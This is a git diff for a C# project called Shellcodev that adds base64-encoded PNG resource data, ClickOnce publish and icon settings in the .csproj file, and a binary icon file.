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 + + \ No newline at end of file diff --git a/Shellcodev/Shellcodev.csproj b/Shellcodev/Shellcodev.csproj index 4110df3..b2a8632 100644 --- a/Shellcodev/Shellcodev.csproj +++ b/Shellcodev/Shellcodev.csproj @@ -12,6 +12,21 @@ 512 true true + publish\ + true + Disk + false + Foreground + 7 + Days + false + false + true + 0 + 1.0.0.%2a + false + false + true AnyCPU @@ -32,6 +47,10 @@ prompt 4 + + shellcodev2.ico + + @@ -93,5 +112,20 @@ + + + False + Microsoft .NET Framework 4.8 %28x86 and x64%29 + true + + + False + .NET Framework 3.5 SP1 + false + + + + + \ No newline at end of file diff --git a/Shellcodev/shellcodev2.ico b/Shellcodev/shellcodev2.ico new file mode 100644 index 0000000000000000000000000000000000000000..d6b798ad1af4cacc31dad69e752bfb52ca1881a4 GIT binary patch literal 20506 zcmXtf1ymc&_jW>n;K3b&7I%l@En2)taSFxVo#3v;ixq8)7k8()m*Vd31pj#dzw;$0 zyOWdb-8(aTWuE&C004Y_|Mvm{r~rtn007}@J5p6y788vW?X`(1FZWLUzhD3Rpu8Rd zUL?28|9x|CR{jVa&-cg#094xL-${P-TPNl+ z-$$JHZEEjv-v5AwSV~>dV873gI3dJn?29uEh@=o1bP$RBI@iA(nceuE`z3q6Y1-Yr z4i{@B+#;b?q{d}@$>)UW)CKHjceH% ziUMb<-DEf&u|OKuTs^5wU*pHhAcjUoF)n36Q0iXvh=uL-LukJWLX6L^SV;~Gx@a*g z=@p$^eYJCaca1B(VTIZ39QZ@fucKmymFU%`qlN43l49St55_BlOwc#vpWOG&-2JBh zNS4%)Dy)$DwiZ^qOMkgrX7XuBwrvslvbv)wtBYstQ9{v?ROK`MvJK6=y|~}9d*CrN zieo2vdgvxNb+oWu$h>S3Y8kaiE)Tf+KEW%m&imfg{Qr9(TNwIvW>{o=c1GedQ)wl9o5C6b*e({%W0E 